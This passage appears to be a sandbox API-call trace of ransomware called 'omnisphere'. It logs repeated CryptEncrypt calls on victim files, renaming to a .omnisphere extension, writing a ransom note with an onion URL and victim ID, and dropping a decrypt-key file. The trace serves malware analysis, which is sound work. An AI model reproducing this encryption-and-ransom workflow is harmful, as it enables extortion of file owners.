pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.535] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.536] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.537] CryptDestroyKey (hKey=0x16396a8) returned 1 [0116.537] CryptReleaseContext (hProv=0x1668ce0, dwFlags=0x0) returned 1 [0116.537] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x5cc, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0116.537] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0116.538] GetProcessHeap () returned 0x1600000 [0116.538] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a4) returned 0x1692220 [0116.538] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk.omnisphere")) returned 1 [0116.539] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.omnisphere.id" [0116.539] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\global.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0116.543] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0116.544] CloseHandle (hObject=0x3c0) returned 1 [0116.546] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0116.546] CloseHandle (hObject=0x288) returned 1 [0116.546] SetEndOfFile (hFile=0x28c) returned 1 [0116.546] FlushFileBuffers (hFile=0x28c) returned 1 [0116.555] CloseHandle (hObject=0x28c) returned 1 [0116.555] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\Global.LNK" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent") returned 1 [0116.555] GetProcessHeap () returned 0x1600000 [0116.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16924d0 [0116.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0116.555] GetProcessHeap () returned 0x1600000 [0116.555] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x165f0d0 [0116.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x165f0d0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0116.556] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0116.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0116.556] GetProcessHeap () returned 0x1600000 [0116.556] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1687248 [0116.556] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1687248, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0116.556] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0116.556] GetProcessHeap () returned 0x1600000 [0116.556] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xae) returned 0x1631460 [0116.556] PathCombineW (in: pszDest=0x1631460, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" [0116.556] GetProcessHeap () returned 0x1600000 [0116.556] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1690320 [0116.556] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.556] WriteFile (in: hFile=0x28c, lpBuffer=0x1690320*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1690320*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0116.557] CloseHandle (hObject=0x28c) returned 1 [0116.557] GetProcessHeap () returned 0x1600000 [0116.557] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16924d0 | out: hHeap=0x1600000) returned 1 [0116.557] GetProcessHeap () returned 0x1600000 [0116.557] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa4) returned 0x162da78 [0116.557] PathCombineW (in: pszDest=0x162da78, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" [0116.559] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.559] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0116.559] CloseHandle (hObject=0x28c) returned 1 [0116.560] GetProcessHeap () returned 0x1600000 [0116.560] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162da78 | out: hHeap=0x1600000) returned 1 [0116.560] GetProcessHeap () returned 0x1600000 [0116.560] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165eae8 | out: hHeap=0x1600000) returned 1 [0116.560] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x2, ftCreationTime.dwLowDateTime=0x15a7d124, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15a7d124, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0xee9bf3e2, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x8d, dwReserved0=0x0, dwReserved1=0xd4, cFileName="index.dat", cAlternateFileName="")) returned 1 [0116.560] GetProcessHeap () returned 0x1600000 [0116.560] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x165e9a8 [0116.560] PathCombineW (in: pszDest=0x165e9a8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent", pszFile="index.dat" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" [0116.560] StrStrW (lpFirst=".omnisphere", lpSrch=".dat") returned 0x0 [0116.560] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\Recent\\index.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\recent\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0116.561] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=141) returned 1 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.561] GetTickCount () returned 0x115d240 [0116.562] GetTickCount () returned 0x115d240 [0116.562] GetTickCount () returned 0x115d240 [0116.562] GetTickCount () returned 0x115d240 [0116.562] GetTickCount () returned 0x115d240 [0116.562] GetTickCount () returned 0x115d240 [0116.562] GetTickCount () returned 0x115d240 [0116.562] GetTickCount () returned 0x115d240 [0116.562] GetTickCount () returned 0x115d240 [0116.562] GetTickCount () returned 0x115d240 [0116.562] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x1668460) returned 1 [0116.563] CryptImportKey (in: hProv=0x1668460, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0116.563] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0116.563] CryptDestroyKey (hKey=0x1639b28) returned 1 [0116.563] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0116.563] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8d, lpName=0x0) returned 0x288 [0116.563] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8d) returned 0x1480000 [0116.563] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668bd0) returned 1 [0116.564] CryptImportKey (in: hProv=0x1668bd0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0116.564] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0116.566] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0116.566] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.566] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.566] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.566] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.566] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.566] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0116.567] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 